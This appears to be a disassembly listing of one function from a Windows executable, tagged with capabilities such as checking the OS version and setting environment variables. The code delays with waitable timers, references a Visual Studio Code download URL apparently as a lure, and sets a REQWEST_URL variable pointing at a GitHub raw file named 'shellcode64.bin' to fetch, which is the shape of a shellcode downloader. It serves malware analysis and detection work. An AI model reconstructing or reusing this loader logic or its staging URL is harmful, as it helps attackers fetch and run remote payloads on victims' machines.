Function at 0x14010b070
Capabilities:
Check os version
Get number of processors
Set environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x6b8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x620], xmm6
mov qword [rbp + 0x618], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14010b0ce
cmp eax, 1
je 0x14010b0fb
jmp 0x14010ded6
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x14010aec0]
call fcn.1400de7b0
mov byte [rbx + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
jne 0x14010e2fb
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x126], 0
lea rcx, [rsi + 0x170]
lea rax, [rsi + 0x1d0]
test dil, 1
cmovne rcx, rax
call fcn.1400f32a0
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x118], 0
je 0x14010b181
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x120]
mov ecx, dword [rax + 0x11c]
jmp 0x14010b198
call fcn.1400f1c80
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x1401a230c]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x118], 1
mov dword [rax + 0x11c], ebx
mov dword [rax + 0x120], r14d
cmp qword [rax + 0xd8], 0
jne 0x14010e33c
mov eax, dword [0x1401a230c]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd8], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test dil, 1
je 0x14010b20e
test r8, r8
jns 0x14010b219
jmp 0x14010e004
test r8, r8
js 0x14010e004
xor eax, eax
mov r8d, dword [0x1401a230c]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xe0]
mov r9, qword [r10 + 0xe8]
mov qword [r10 + 0xe0], rax
mov qword [r10 + 0xe8], rsi
inc qword [r10 + 0xd8]
mov rax, qword [r10 + 0xf0]
cmp rax, 0xffffffffffffffff
je 0x14010e348
inc rax
mov r10d, dword [0x1401a230c]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xf0], rax
mov qword [rbp + 0x4a8], r8
mov qword [rbp + 0x4b0], r9
mov qword [rbp + 0x4b8], rax
mov dword [rbp + 0x4c0], ecx
mov dword [rbp + 0x4c4], edx
mov rax, qword [r12]
cmp dword [rax], 1
je 0x14010e389
mov qword [rbp + 0x4f8], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x58], r12
mov rsi, qword [r12 + 0x10]
lea r15, [rbp + 0x80]
lea rbx, [rsi + 8]
lea rax, [rsi + 0x28]
mov qword [rbp + 0x4e8], rax
lea rax, [rsi + 0x118]
mov qword [rbp + 0x578], rax
xorps xmm6, xmm6
lea r14, [rbp + 0x180]
lea r12, [rbp + 0x70]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x608], rbx
mov qword [rbp + 0x4f0], rdi
nop dword [rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x14010c8a5
mov qword [rbp + 0x2a0], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x5c8]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x5a0], rdi
mov qword [rbp + 0x5a8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x530]
mov ecx, dword [rbp + 0x533]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x14010c892
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
lock inc qword [rax]
jle 0x14010e004
add rax, 0x10
lea rcx, fcn.1400f2f20
mov qword [rbp + 0x4c8], rcx
mov qword [rbp + 0x4d0], rax
lea rax, [rbp + 0x4c8]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], 0
jmp 0x14010b413
cmp rax, 2
jne 0x14010e188
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rdi], cl
mov rbx, qword [rbp + 0x608]
jne 0x14010b821
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010b550
cmp eax, 1
lea r14, [rbp + 0x180]
je 0x14010b515
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14010e4f0
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x140132678]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x14010b4c2
call fcn.1400dee50
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x1401a230c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd8]
mov qword [rdx + r8], r9
lea r9, [0x14010aec0]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x124]
mov dword [rbp + 0x614], ecx
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x604], cl
mov word [rax + 0x124], 0x8001
jmp 0x14010b55d
mov dword [rbp + 0x614], eax
lea r14, [rbp + 0x180]
mov rdx, qword [rbp + 0x2e8]
lea rcx, [rbp + 0x5a0]
call fcn.1400f17b0
test al, al
je 0x14010b5f0
movzx eax, byte [rsi + 0x148]
test eax, eax
je 0x14010b610
cmp eax, 3
jne 0x14010e141
movzx eax, byte [rsi + 0x140]
test eax, eax
je 0x14010b802
cmp eax, 3
jne 0x14010e1f1
nop word cs:[rax + rax]
cmp dword [rbx], 2
jne 0x14010bca0
mov rax, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rax, rax
je 0x14010e06f
mov qword [rbp + 0x180], 3
mov qword [rbp + 0x188], rax
jmp 0x14010bcf0
xor edi, edi
mov edx, dword [rbp + 0x614]
cmp dl, 2
jne 0x14010c630
jmp 0x14010c6b4
lea rdi, [0x140190b60]
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
lea rbx, [rbp + 0x310]
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x310]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14010e14d
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x70], r14
lea rax, [0x14000a5c0]
mov qword [rbp + 0x78], rax
lea rax, str.Time:
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 2
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x328], 1
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14010b814
mov rdi, rax
mov qword [rbp + 0x310], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14010b80b
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x310]
jne 0x14010b830
jmp 0x14010b814
lea rbx, [rbp + 0x310]
jmp 0x14010b837
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14010b830
mov rcx, rdi
call fcn.14012a1d0
jmp 0x14010b413
mov byte [rsi + 0x140], 0
mov rcx, rbx
call fcn.140068460
mov rcx, rbx
call fcn.140068ea0
mov r13, rdx
test al, 1
jne 0x14010e006
mov qword [rsi], r13
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x510], 0
mov r9d, 0x26
mov rcx, r12
lea rdx, [rbp + 0x500]
lea r8, str.https:__code.visualstudio.com_download
call fcn.140115090
mov rdi, qword [rbp + 0x70]
mov rax, rdi
neg rax
jno 0x14010b930
movzx ebx, byte [rbp + 0x78]
movzx eax, byte [0x1401a2308]
mov edx, 1
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e087
mov rdi, rax
mov byte [rax], bl
movzx eax, byte [0x1401a2308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e038
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], rdi
lea rcx, [0x14015bfe0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov ecx, 2
lock inc qword [r13]
mov rbx, qword [rbp + 0x608]
jg 0x14010bac0
jmp 0x14010e004
mov rbx, qword [rbp + 0x78]
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movzx eax, byte [rbp + 0xb0]
mov rcx, qword [r15 + 0x40]
mov qword [rbp + 0x58f], rcx
movups xmm0, xmmword [r15 + 0x31]
movaps xmmword [rbp + 0x580], xmm0
test al, al
je 0x14010ba30
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x90], xmm2
movaps xmmword [rbp + 0x80], xmm1
movaps xmmword [rbp + 0x70], xmm0
movaps xmm3, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x500], xmm3
mov rcx, qword [rbp + 0x58f]
mov qword [rbp + 0x50f], rcx
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
movaps xmmword [rbp + 0x560], xmm2
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x580], xmm0
mov rcx, qword [rbp + 0x50f]
mov qword [rbp + 0x58f], rcx
movaps xmmword [rbp + 0x60], xmm6
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x598], rbx
mov byte [rbp + 0x4d8], al
xor ecx, ecx
lock inc qword [r13]
mov rbx, qword [rbp + 0x608]
jg 0x14010bac0
jmp 0x14010e004
movzx eax, byte [0x1401a2308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400ea350
test rax, rax
je 0x14010e038
mov qword [rax + 0x58], 1
lea rcx, [0x14015bef0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x58f]
mov qword [rax + 0x50], rcx
mov ecx, 2
lock inc qword [r13]
mov rbx, qword [rbp + 0x608]
jle 0x14010e004
nop
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x510]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [r15], xmm0
mov qword [rbp + 0x98], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [r15 + 0x20], xmm0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 8
movaps xmm0, xmmword [rbp + 0x60]
movups xmmword [r15 + 0x40], xmm0
mov qword [rbp + 0xd0], 8
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 2
mov qword [rbp + 0xe8], 0
mov word [rbp + 0xf0], 0
movzx eax, word [rbp + 0x30e]
mov word [r15 + 0x76], ax
mov eax, dword [rbp + 0x30a]
mov dword [r15 + 0x72], eax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x100], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmm1, xmmword [rbp + 0x550]
movaps xmm2, xmmword [rbp + 0x560]
movups xmmword [r15 + 0xa8], xmm2
movups xmmword [r15 + 0x98], xmm1
movups xmmword [r15 + 0x88], xmm0
movzx eax, byte [rbp + 0x4d8]
mov byte [rbp + 0x138], al
mov rax, qword [rbp + 0x58f]
mov qword [r15 + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x580]
movups xmmword [r15 + 0xb9], xmm0
mov dword [rbp + 0x158], 0x3b9aca00
mov byte [rbp + 0x160], 1
mov dword [r15 + 0xe4], 0
mov dword [r15 + 0xe1], 0
movups xmmword [r15 + 0xe8], xmm6
mov byte [rbp + 0x178], 2
mov rcx, r14
mov rdx, r13
mov r8, r12
call fcn.140071c70
cmp dword [rbp + 0x180], 2
jne 0x14010bc50
mov qword [rbp + 0x310], 2
mov rax, qword [rbp + 0x188]
mov rdi, qword [rbp + 0x290]
mov qword [rbp + 0x318], rax
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rdi]
je 0x14010bc76
jmp 0x14010bc82
mov rdi, qword [rbp + 0x290]
lea rcx, [rbp + 0x310]
mov rdx, rdi
mov r8, r14
call fcn.14006b590
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rdi]
jne 0x14010bc82
lea rcx, [rbp + 0x290]
call fcn.1400c0db0
mov r8d, 0x138
mov rcx, rbx
lea rdx, [rbp + 0x310]
call fcn.1401253f0
cmp dword [rbx], 2
je 0x14010b5b9
mov rcx, r14
mov rdx, rbx
lea r8, [rbp + 0x2e8]
call fcn.14006e120
cmp qword [rbp + 0x180], 4
jne 0x14010bcf0
mov byte [rsi + 0x140], 3
mov al, 3
mov dil, 2
mov byte [rsi + 0x148], al
mov edx, dword [rbp + 0x614]
cmp dl, 2
je 0x14010c6b4
jmp 0x14010c630
mov r8d, 0x98
lea rcx, [rbp - 0x40]
mov rdx, r14
call fcn.1401253f0
cmp dword [rbx], 2
jne 0x14010bd90
mov r13, qword [rsi + 0x10]
test r13, r13
lea rbx, [rbp + 0x310]
je 0x14010c106
mov rdi, qword [r13 + 0x58]
test rdi, rdi
je 0x14010bd5d
mov rbx, qword [r13 + 0x60]
mov rax, qword [rbx]
test rax, rax
je 0x14010bd39
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14010bd5d
cmp qword [rbx + 0x10], 0x11
jb 0x14010bd4b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r13]
neg rax
jo 0x14010bd7b
jae 0x14010bd7b
mov r8, qword [r13 + 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x310]
jmp 0x14010c0f4
cmp byte [rsi + 0x100], 0xa
jb 0x14010bdb6
cmp qword [rsi + 0x110], 0
je 0x14010bdb6
mov r8, qword [rsi + 0x108]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
cmp qword [rsi + 0x90], 0
je 0x14010bdd3
mov r8, qword [rsi + 0x98]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
cmp qword [rsi + 0x80], 0
je 0x14010bded
mov r8, qword [rsi + 0x78]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rbx, qword [rsi + 0x58]
test rbx, rbx
je 0x14010be40
mov rdi, qword [rsi + 0x50]
add rdi, 0x30
jmp 0x14010be1b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14010be40
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14010be00
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14010be00
cmp qword [rsi + 0x48], 0
je 0x14010be57
mov r8, qword [rsi + 0x50]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rbx, qword [rsi + 0x70]
test rbx, rbx
je 0x14010be8b
mov rdi, qword [rsi + 0x68]
add rdi, 0x38
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x14010be70
cmp qword [rsi + 0x60], 0
je 0x14010bea2
mov r8, qword [rsi + 0x68]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rax, qword [rbp + 0x608]
cmp qword [rax], 0
je 0x14010beca
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14010beca
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, qword [rbp + 0x4e8]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xf8]
test rdi, rdi
je 0x14010bf20
mov rbx, qword [rsi + 0xf0]
add rbx, 8
jmp 0x14010bef9
add rbx, 0x58
dec rdi
je 0x14010bf20
cmp qword [rbx - 8], 0
je 0x14010bef0
mov r8, qword [rbx]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
jmp 0x14010bef0
cmp qword [rsi + 0xe8], 0
je 0x14010bf3d
mov r8, qword [rsi + 0xf0]
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
mov rax, qword [rbp + 0x578]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14010bf59
mov rcx, qword [rbp + 0x578]
call fcn.140001680
mov rdi, qword [rsi + 0x120]
mov rbx, qword [rsi + 0x128]
mov rax, qword [rbx]
test rax, rax
je 0x14010bf74
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14010bf95
cmp qword [rbx + 0x10], 0x11
jb 0x14010bf86
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rdi
call r13
mov r13, qword [rsi + 0x138]
test r13, r13
lea rbx, [rbp + 0x310]
je 0x14010c106
mov rdi, qword [r13 + 8]
cmp byte [r13], 0
mov eax, 0xb8
mov ecx, 0x118
cmovne rax, rcx
cmp dword [rdi + rax + 0xa8], 0x3b9aca00
je 0x14010e129
lea r12, [r13 + 8]
add rdi, rax
lea rdx, [r13 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x58], cl
jne 0x14010c086
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14010c001
lea rcx, [rdi + 0x60]
call fcn.1400fe9d0
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14010c060
mov byte [r13 + 0x60], 0
mov qword [r13 + 0x40], 0xffffffffffffffff
mov rax, qword [r13 + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r13 + 0x58], rcx
jne 0x14010c020
test rax, rax
jne 0x14010c060
mov rax, qword [r13 + 0x48]
mov rcx, qword [r13 + 0x50]
mov qword [r13 + 0x48], 0
lock and qword [r13 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14010c060
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 0x58], cl
jne 0x14010c0af
test byte [r13], 1
je 0x14010c0c2
mov rax, qword [r12]
lock dec qword [rax]
jne 0x14010c0e0
mov rcx, r12
call fcn.140004760
jmp 0x14010c0e0
lea rcx, [rdi + 0x58]
mov rbx, rdx
call fcn.140129d50
mov rdx, rbx
lea rbx, [rbp + 0x310]
mov rax, qword [r13 + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14010bff8
jmp 0x14010c001
add rdi, 0x58
mov rcx, rdi
call fcn.14012a1d0
test byte [r13], 1
jne 0x14010c072
mov rax, qword [r12]
lock dec qword [rax]
jne 0x14010c0e0
mov rcx, r12
call fcn.140002ed0
nop word cs:[rax + rax]
mov rax, qword [r13 + 0x48]
test rax, rax
je 0x14010c0f0
mov rcx, qword [r13 + 0x50]
call qword [rax + 0x18]
lea r12, [rbp + 0x70]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x40], 3
jne 0x14010c1d0
lea rax, [0x140190b60]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x190], 8
movups xmmword [rbp + 0x198], xmm6
mov rcx, r14
call fcn.1400e8db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14010c76e
mov rdi, rax
mov qword [rbp + 0x180], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14010c765
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x14010c779
jmp 0x14010c76e
lea rax, [0x140190b60]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x190], 8
movups xmmword [rbp + 0x198], xmm6
mov rcx, r14
call fcn.1400e8db0
lea rcx, [rbp - 0x40]
call fcn.140109a40
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x14010c21d
mov rcx, rsi
call fcn.140001680
mov byte [rsi + 0x140], 1
lea rdx, str.REQWEST_URLhttps:__github.com_deliverrachel_testing_eijchkj_jhkjhncka_cakjshckj_raw_main_shellcode64.bin
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], 0xb
lea rdi, [0x140190bfb]
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], 0x5d
mov r8d, 0xb
mov rcx, rbx
call fcn.1400e3920
mov rax, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x318]
mov qword [rbp + 0x5f0], rax
neg rax
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jno 0x14010c290
mov rdi, rcx
jmp 0x14010c31f
mov qword [rbp + 0x5f8], rcx
mov r8d, 0x5d
mov rcx, rbx
mov rdx, rdi
call fcn.1400e3920
mov r14, qword [rbp + 0x310]
mov rbx, qword [rbp + 0x318]
mov rax, r14
neg rax
jno 0x14010c2c3
mov rdi, rbx
jmp 0x14010c2f4
mov rcx, qword [rbp + 0x5f8]
mov rdx, rbx
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov edi, 0
test eax, eax
je 0x14010c79d
test r14, r14
je 0x14010c2f4
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
call r13
cmp qword [rbp + 0x5f0], 0
lea r14, [rbp + 0x180]
lea rbx, [rbp + 0x310]
mov r8, qword [rbp + 0x5f8]
je 0x14010c31f
mov rcx, qword [0x1401a2270]
xor edx, edx
call r13
test rdi, rdi
jne 0x14010e096
mov r8d, 0xb
mov rcx, rbx
lea rdx, str.REQWEST_URLhttps:__github.com_deliverrachel_testing_eijchkj_jhkjhncka_cakjshckj_raw_main_shellcode64.bin
call fcn.1400e32e0
mov r12, qword [rbp + 0x310]
mov rax, r12
neg rax
jno 0x14010c360
lea r12, [rbp + 0x70]
jmp 0x14010b830
mov r10, qword [rbp + 0x318]
mov r8, qword [rbp + 0x320]
test byte [rbp + 0x328], 1
jne 0x14010c410
test r8, r8
je 0x14010c410
lea rax, [r10 + r8]
mov rdx, r10
jmp 0x14010c3a8
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14010c410
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14010c3a0
cmp r9b, 0xe0
jb 0x14010c38d
cmp r9b, 0xed
jne 0x14010c3e2
cmp rcx, rax
je 0x14010c410
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14010c410
cmp byte [rdx + 1], 0x9f
ja 0x14010c816
add rdx, 3
mov rcx, rdx
jmp 0x14010c3a0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14010c3a0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14010c3a0
mov rcx, r14
mov qword [rbp + 0x5f0], r10
mov rdx, r10
call fcn.140104460
mov rdi, qword [rbp + 0x180]
mov rax, rdi
neg rax
jno 0x14010c4c4
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14010c7c4
mov rdi, rax
mov qword [rbp + 0x310], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14010c7bb
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x310]
je 0x14010c7c4
test r12, r12
jne 0x14010c7d8
jmp 0x14010c34c
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x538], rax
call fcn.140104cc0
call fcn.140102470
mov rbx, rax
and eax, 3
cmp eax, 1
jne 0x14010c54b
mov r14, qword [rbx - 1]
mov r13, qword [rbx + 7]
mov rax, qword [r13]
test rax, rax
je 0x14010c50b
mov rcx, r14
call rax
cmp qword [r13 + 8], 0
je 0x14010c532
cmp qword [r13 + 0x10], 0x11
jb 0x14010c51d
mov r14, qword [r14 - 8]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, r14
call rax
dec rbx
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rbx
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
call r13
lea rbx, [rbp + 0x310]
mov rcx, rbx
call fcn.140102850
cmp qword [rbp + 0x310], 0
je 0x14010c576
mov rcx, qword [rbp + 0x318]
test rcx, rcx
je 0x14010c576
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400df3d0
call fcn.140105d60
lea rax, [0x140190b60]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm6
mov rcx, rbx
call fcn.1400e8db0
mov r14, qword [rbp + 0x5f8]
